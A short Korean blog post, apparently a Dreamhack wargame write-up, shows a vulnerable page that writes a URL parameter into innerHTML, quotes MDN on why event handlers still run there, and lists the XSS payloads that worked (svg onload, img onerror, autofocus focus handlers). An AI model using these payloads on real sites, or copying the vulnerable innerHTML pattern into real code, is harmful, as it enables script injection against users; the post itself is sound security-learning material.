xss cheat sheet 사용해서 vuln 공략
<div class="container">
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
</div> <!-- /container -->
Element.innerHTML 취약점
https://developer.mozilla.org/ko/docs/Web/API/Element/innerHTML
const name = "John";
// assuming 'el' is an HTML DOM element
el.innerHTML = name; // harmless in this case
// ...
name = "<script>alert('I am John in an annoying alert!')</script>";
el.innerHTML = name; // harmless in this case
이것은 cross-site scripting 공격처럼 보일 수 있지만, 결과는 무해합니다. HTML5 는 innerHTML 과 함께 삽입된 <script> 태그가 실행되지 않도록 지정합니다.
그러나 <script> 요소를 사용하지 않고, 자바스크립트를 실행하는 방법이 있으므로, innerHTML 을 사용하여 제어할 수 없는 문자열을 설정할 때 마다 여전히 보안위험이 있습니다. 예를들어:
const name = "<img src='x' onerror='alert(1)'>";
el.innerHTML = name; // shows the alert
따라서 일반 텍스트를 삽입 할 때는 innerHTML 을 사용하지 않는 것이 좋습니다.
아래 사이트에 다양한 공격방법이 나와있다
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
xss-2 페이지에 통했던 공격 방법들
<svg/onload=alert(1)>
<img src="x" onerror=alert('1')>
<a href="javascript: alert('1')"> <!-- 실패 -->
<a tabindex=1 onfocusin=alert('1') autofocus>flag</a>
<input onfocus="alert('1')" autofocus>
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Command-Injection-1 (0) | 2023.06.30 |
---|---|
[Dreamhack Wargame] Mango + req.query 타입검사 미흡 (0) | 2023.06.29 |
[Dreamhack Wargame] Simple_sqli + blind SQLI 스크립트 (0) | 2023.06.28 |
[Dreamhack Wargame] CSRF_1/2 (0) | 2023.06.28 |
[Dreamhack Wargame] Carve Party (0) | 2023.06.27 |